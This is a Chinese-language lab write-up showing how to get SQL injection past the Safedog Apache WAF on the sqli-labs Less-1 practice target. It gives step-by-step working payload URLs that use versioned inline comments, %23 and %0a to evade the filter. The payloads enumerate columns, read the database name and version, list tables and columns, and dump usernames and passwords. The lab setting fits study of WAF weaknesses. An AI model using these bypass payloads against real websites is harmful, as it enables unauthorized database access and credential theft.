环境搭建
phpstudy搭建Apache+php 下sqli-lib靶场。
网站安全狗Apache版本4.0
绕过思路
正常注入思路:
- 判断闭合字符
- 判断注入类型
- 查询列数
- 判断回显位
- 查询数据库的基本信息
- 爆数据库名
- 爆数据库表名
- 爆字段名
- 爆值
而常见的sql绕waf的方法有:
- 大小写,
- 加密解密
- 编码解码
- 等价函数
- 特殊符号
- 注释符混用
操作步骤
1.以sqli第一关为例:首先判断闭合字符
2.使用order by 判断列数 ,正常的语句被拦截,无法回显
3.使用内联注释尝试绕过waf,/*! */会干扰waf进行检测数据
安全狗更新之后,所有的payload都已经失效,但是经过多次尝试后,发现“#”字符有着特殊之处
我们的语句发送过去,首先接收安全狗检测,安全狗检测到'#'号,所以'\#'后面的都会被截断抛弃,所以安全狗只能匹配到'\#'前的order,但是没匹配到'\#'后的by,最终导致语句不完整导致最后的报错。 #的编码为%23
构造如下语句后,发现数据库没有读取到by 3,只读到了order的值
尝试以下语句 ,页面正常,说明在构造语句前加“%23”可以绕过检测,并且判断出列数为三
或者使用另一种语句 group by 判断列数
http://192.168.249.131/sqli/Less-1/?id=1' "%23"/*!12444order */ %0a /*!12444by 3*/
-- +
4.接着判断显示位,通过前边尝试构造的语句,可以轻松构造payload,成功获得显示位2,3
注意 改为-1,或构造为假的条件(and 1=2)
5.爆出数据库信息和版本
语句中带有database(),被拦截,但是database没有进行拦截,说明database和()之间不能连用
构造语句为
http://192.168.249.131/sqli/Less-1/?id=-1'"%23" /*!12444union */ %0a /*!12444select*/ 1,database(/*!12444*/),version(/*!12444*/)
-- +
6.爆出数据库名后,尝试爆表名
http://192.168.249.131/sqli/Less-1/?id=-1' "%23" /*!12444union */ %0a /*!12444select*/ 1,database(/*!12444*/),group_concat(table_name) from information_schema.tables where table_schema="security"
7.接着尝试爆出users表下的字段值 ,构造语句后,发现被拦截,经过测试发现 and被过滤
尝试 /*!12444and*/
http://192.168.249.131/sqli/Less-1/?id=-1' "%23" /*!12444union */ %0a /*!12444select*/ 1,database(/*!12444*/),group_concat(column_name) from information_schema.columns where table_schema="security" /*!12444and*/
table_name="users"
8.接着就是爆出字段中的值了
http://192.168.249.131/sqli/Less-1/?id=-1' "%23" /*!12444union */ %0a /*!12444select*/ 1,database(/*!12444*/),group_concat(username,password) from users
总结
1、内联注释 可以绕过大多数情况
2、在一些被拦截的地方多用/\*%23\*/和/\*!10440%0a\*/,有奇效。
%23为#编码,%0A为换行
一般来说,内联注释只有在紧跟版本号的情况下才有意义,其主要目的是通过版本号来控制部分语句在不同 MySQL 版本下的执行情况
绕过原因:安全狗误以为/**/是注释的内容所以全部忽略。